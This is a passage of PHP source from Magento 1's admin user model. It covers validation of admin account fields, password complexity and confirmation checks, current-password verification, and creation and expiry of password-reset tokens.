if (!Zend_Validate::is($this->getLastname(), 'NotEmpty')) {
$errors[] = Mage::helper('adminhtml')->__('Last Name is required field.');
}
if (!Zend_Validate::is($this->getEmail(), 'EmailAddress')) {
$errors[] = Mage::helper('adminhtml')->__('Please enter a valid email.');
}
if ($this->hasNewPassword()) {
if (Mage::helper('core/string')->strlen($this->getNewPassword()) < self::MIN_PASSWORD_LENGTH) {
$errors[] = Mage::helper('adminhtml')->__('Password must be at least of %d characters.', self::MIN_PASSWORD_LENGTH);
}
if (!preg_match('/[a-z]/iu', $this->getNewPassword())
|| !preg_match('/[0-9]/u', $this->getNewPassword())
) {
$errors[] = Mage::helper('adminhtml')->__('Password must include both numeric and alphabetic characters.');
}
if ($this->hasPasswordConfirmation() && $this->getNewPassword() != $this->getPasswordConfirmation()) {
$errors[] = Mage::helper('adminhtml')->__('Password confirmation must be same as password.');
}
Mage::dispatchEvent('admin_user_validate', array(
'user' => $this,
'errors' => $errors,
));
}
if ($this->userExists()) {
$errors[] = Mage::helper('adminhtml')->__('A user with the same user name or email aleady exists.');
}
if (count($errors) === 0) {
return true;
}
return (array)$errors;
}
/**
* Validate password against current user password
* Returns true or array of errors.
*
* @return mixed
*/
public function validateCurrentPassword($password)
{
$result = array();
if (!Zend_Validate::is($password, 'NotEmpty')) {
$result[] = $this->_getHelper('adminhtml')->__('Current password field cannot be empty.');
} elseif (is_null($this->getId()) || !$this->_getHelper('core')->validateHash($password, $this->getPassword())){
$result[] = $this->_getHelper('adminhtml')->__('Invalid current password.');
}
if (empty($result)) {
$result = true;
}
return $result;
}
/**
* Change reset password link token
*
* Stores new reset password link token and its creation time
*
* @param string $newResetPasswordLinkToken
* @return Mage_Admin_Model_User
* @throws Mage_Core_Exception
*/
public function changeResetPasswordLinkToken($newResetPasswordLinkToken) {
if (!is_string($newResetPasswordLinkToken) || empty($newResetPasswordLinkToken)) {
throw Mage::exception('Mage_Core', Mage::helper('adminhtml')->__('Invalid password reset token.'));
}
$this->setRpToken($newResetPasswordLinkToken);
$currentDate = Varien_Date::now();
$this->setRpTokenCreatedAt($currentDate);
return $this;
}
/**
* Check if current reset password link token is expired
*
* @return boolean
*/
public function isResetPasswordLinkTokenExpired()
{
$resetPasswordLinkToken = $this->getRpToken();
$resetPasswordLinkTokenCreatedAt = $this->getRpTokenCreatedAt();
if (empty($resetPasswordLinkToken) || empty($resetPasswordLinkTokenCreatedAt)) {
return true;
}
$tokenExpirationPeriod = Mage::helper('admin')->getResetPasswordLinkExpirationPeriod();
$currentDate = Varien_Date::now();
$currentTimestamp = Varien_Date::toTimestamp($currentDate);
$tokenTimestamp = Varien_Date::toTimestamp($resetPasswordLinkTokenCreatedAt);
if ($tokenTimestamp > $currentTimestamp) {
return true;
}
$dayDifference = floor(($currentTimestamp - $tokenTimestamp) / (24 * 60 * 60));
if ($dayDifference >= $tokenExpirationPeriod) {
return true;
}
return false;
}
/**
* Clean password's validation data (password, current_password, new_password, password_confirmation)
*
* @return Mage_Admin_Model_User
*/
public function cleanPasswordsValidationData()
{
$this->setData('password', null);
$this->setData('current_password', null);
$this->setData('new_password', null);
$this->setData('password_confirmation', null);
return $this;
}
/**
* Simple sql format date
*
* @param string $format
* @return string
*/
protected function _getDateNow($dayOnly = false)
{
return now($dayOnly);
}
}
More Research